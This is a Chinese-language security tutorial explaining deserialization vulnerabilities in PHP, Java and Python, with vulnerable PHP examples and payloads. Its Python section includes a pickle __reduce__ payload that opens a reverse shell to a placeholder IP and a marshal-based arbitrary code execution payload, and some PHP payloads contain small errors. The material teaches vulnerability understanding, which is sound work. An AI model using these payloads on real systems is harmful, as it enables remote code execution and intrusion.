一文了解反序列化漏洞

2022-09-29 21:52:56 浏览数 (1)


一文了解反序列化漏洞

前言

本篇总结归纳反序列化漏洞 包括php、java、python三种语言

一、什么是序列化和反序列化

1、序列化和反序列化

序列化是将复杂的数据结构(如对象及其字段)转换为“更平坦”格式的过程 这种格式可以作为连续的字节流发送和接收 序列化数据使以下操作更简单:

  • 将复杂数据写入进程间内存、文件或数据库
  • 有效的实现多平台之间的通信、对象持久化存储
  • 在应用程序的不同组件之间通过网络或者API调用发送复杂数据

反序列化是将字节流还原为原始对象的过程

2、各种语言

许多编程语言都提供对序列化的内在支持

  • PHP将对象序列化为字符串格式
  • Java将对象序列化为二进制格式

3、反序列化漏洞

序列化在内部没有漏洞 漏洞在反序列化过程

  • 用户可控制的数据被网站脚本反序列化,这可能使攻击者能够操纵序列化对象,以便将有害数据传递到应用程序代码中
  • 渗透攻击者可以用完全不同类的对象替换序列化对象,而且,网站可用的任何类的对象都将被反序列化和实例化,而不管预期的是哪个类

下面按各种语言归纳

二、PHP反序列化漏洞

1、PHP的序列化与反序列化

PHP通过serialize()unserialize()来进行序列化和反序列化。

例子 考虑User具有以下属性的对象:

代码语言:javascript复制
$user->name = "carlos";
$user->isLoggedIn = true;

序列化后,该对象可能看起来像这样:

代码语言:javascript复制
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}

可以解释如下:

代码语言:javascript复制
O:4:"User"       具有4个字符的类名称的对象 "User"
2          对象具有2个属性
s:4:"name"       第一个属性的键是4个字符的字符串 "name"
s:6:"carlos"     第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn"   第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1         第二个属性的值是布尔值 true

2、魔术方法

魔术方法就是在某些条件下自动执行的函数

参考官方文档 一些魔术方法如下

代码语言:javascript复制
__sleep()     //使用serialize时触发 
__destruct()   //对象被销毁时触发 
__call()     //在对象上下文中调用不可访问的方法时触发 
__callStatic()   //在静态上下文中调用不可访问的方法时触发 
__get()     //用于从不可访问的属性读取数据
__set()     //用于将数据写入不可访问的属性 
__isset()     //在不可访问的属性上调用isset()或empty()触发 
__unset()     //在不可访问的属性上使用unset()时触发 
__invoke()     //当脚本尝试将对象调用为函数时触发

最重要的几个

代码语言:javascript复制
__wakeup()    //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct()   //PHP5允行在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct()  //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString()  //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误

3、PHP的反序列化漏洞

PHP反序列化漏洞出现的原因:

  • unserialize()传入参数可控
  • 在某些魔术方法可用
  • 有过滤或者过滤不完善

通过几个例子来感受下

例子1——wakeup
代码语言:javascript复制
<?php 
 class Test{
     var $test = "123";
     function __wakeup(){
         $fp = fopen("test.php", 'w');
         fwrite($fp, $this -> test);
         fclose($fp);
     }
 }
 
$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);
require "test.php";
?>
  • 代码中写了__wakeup()
  • 在反序列化之前一定会调用此方法,创建了一个test.php文件
  • 把Test类中的test变量的值写进了test.php文件
  • require进行文件包含

payload

代码语言:javascript复制
1.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

注:CVE-2016-7124漏洞:序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行 例子参见unserialize3

例子2——construct
代码语言:javascript复制
<?php 
class Test1{
    function __construct($test){
        $fp = fopen("shell.php", "w");
        fwrite($fp, $test);
        fclose($fp);
    }
}

class Test2{
    var $test = "123";
    function __wakeup(){
        $obj = new Test1($this -> test);
    }
}

$test = $_GET['test'];
unserialize($test);
require "shell.php";
?>
  • contruct打开了一个shell.php
  • wakeup调用了Test1类
  • require文件包含

payload

代码语言:javascript复制
2.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
例子3——destruct
代码语言:javascript复制
class Test{
  var $test = "demo";
  function __destruct(){
    echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);

本结束时就会调用destruct函数,同时会覆盖test变量

payload

代码语言:javascript复制
3.php?test=O4:"Test":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

三、Java反序列化漏洞

1、Java的序列化与反序列化

序列化用到了Java.io.ObjectOutputStream类中的writeObject() 反序列化用到了Java.io.ObjectInputStream类中的readObject()

实现Serializable和Externalizable接口的类的对象才能被序列化

  • Externalizable接口继承自 Serializable接口
  • 实现Externalizable接口的类完全由自身来控制序列化的行为
  • 仅实现Serializable接口的类可以采用默认的序列化方式

对象序列化包括如下步骤:

  • 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  • 通过对象输出流的writeObject()方法写对象

对象反序列化的步骤如下:

  • 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  • 通过对象输入流的readObject()方法读取对象

示例

代码语言:javascript复制
import java.io.*;

/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/

public class Test{
    public static void main(String args[]) throws Exception {
      //定义obj对象
        String obj = "helloworld";
        // 将序列化对象写入文件中
        FileOutputStream fos = new FileOutputStream("lcx.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();
        // 从文件中读取数据
        FileInputStream fis = new FileInputStream("lcx.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 通过反序列化恢复对象
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }
}

实现功能

  • 创建文件
  • 把序列化数据写入文件
  • 读取文件
  • 反序列化数据
  • 打印数据

2、Java的反序列化漏洞

同样关注反序列化操作函数并判断输入是否可控,如

  • ObjectInputStream.readObject
  • ObjectInputStream.readUnshared
  • XMLDecoder.readObject
  • Yaml.load
  • XStream.fromXML
  • ObjectMapper.readValue
  • JSON.parseObject
  • 还有一些第三方库提供的反序列化操作接口
例子1——readObject

功能如下

  • Test.class中MyObject类有一个共有属性name,myObj实例化后将myObj.name赋值为了“hi”,然后序列化写入object
  • MyObject类实现了Serializable接口,并重写了readObject()函数(从源输入流中读取字节序列,反序列化成对象),这里定制的行为是打开计算器

攻击过程如下

一些经典案例

有很多经典案例 如

  • Apache Commons Collections序列化RCE漏洞
  • Spring框架反序列化漏洞
  • Fastjson反序列化漏洞
  • Apache Shiro Java 反序列化漏洞

四、Python反序列化漏洞

1、Python的序列化与反序列化

Python中的序列化操作是通过picklecPickle 模块(操作是一样的)

os.system('whoami')为例 其pickle序列化后为

代码语言:javascript复制
cos
system
(S'whoami'
tR.

各部分

  • c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中
  • (:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组
  • t:从堆栈中弹出对象,直到一个(被弹出,并创建一个包含弹出对象(除了()的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中
  • S:读取引号中的字符串直到换行符处,然后将它压入堆栈,即表示本行的内容一个字符串
  • R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中,即执行紧靠自己左边的一个括号对(即(t之间)的内容
  • .:结束pickle
(1)dump和load与文件操作结合

序列化:

代码语言:javascript复制
pickle.dump(obj, file, protocol=None,)
  • 必填参数obj表示将要封装的对象
  • 必填参数file表示obj要写入的文件对象
  • file必须以二进制可写模式打开,即wb

反序列化

代码语言:javascript复制
pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"
  • 必填参数file必须以二进制可读模式打开,即rb
  • 其他都为可选参数

示例:

代码语言:javascript复制
import pickle

data = ['aa', 'bb', 'cc']

with open("./test.pkl", "wb") as f:
    pickle.dump(data, f)

with open("./test.pkl", "rb") as ff:
    d = pickle.load(ff)

print(d)
# ['aa', 'bb', 'cc']
(2)dumps与loads结合

不需要输出成文件,而是以字符串(py2)或字节流(py3)的形式进行转换

序列化:

代码语言:javascript复制
pickle.dumps(obj)

反序列化

代码语言:javascript复制
pickle.loads(bytes_object)

示例:

代码语言:javascript复制
# python3
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)
# b'x80x03]qx00(Xx02x00x00x00aaqx01Xx02x00x00x00bbqx02Xx02x00x00x00ccqx03e.' 

d = pickle.loads(p)
print(d)
# ['aa', 'bb', 'cc']
代码语言:javascript复制
# python2
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
# (lp0
# S'aa'
# p1
# aS'bb'
# p2
# aS'cc'
# p3
# a.

d = pickle.loads(p)
print d
# ['aa', 'bb', 'cc']

2、Python的反序列化漏洞

python中的类有一个__reduce__方法,类似与PHP中的__wakeup

  • python2中只有内置类才有__reduce__方法,即用class A(object)声明的类
  • python3中已经默认都是内置类
例子1——反弹shell
代码语言:javascript复制
import pickle
import os
class A(object):
    def __reduce__(self):
        shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(shell,))    
a=A()
result = pickle.dumps(a)
pickle.loads(result)

监听8888端口即可

例子2——任意代码执行
代码语言:javascript复制
import pickle
import marshal
import base64

def code():
    import os
    os.system('whoami')

code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle

payload

代码语言:javascript复制
import marshal
import base64

def code():
    pass # any code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
例子3——ctf题

攻防世界 web高手进阶区 10分题Confusion2

结语

对反序列化漏洞做了个归纳小结 后续有新的学习再更新

参考

  • 浅谈python反序列化漏洞
  • PHP反序列化漏洞学习总结
  • 反序列化漏洞汇总
  • 关于反序列化漏洞的一点认识
  • 一篇文章带你了解反序列化漏洞
  • 反序列化漏洞整理
  • Exploiting insecure deserialization vulnerabilities

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

0 人点赞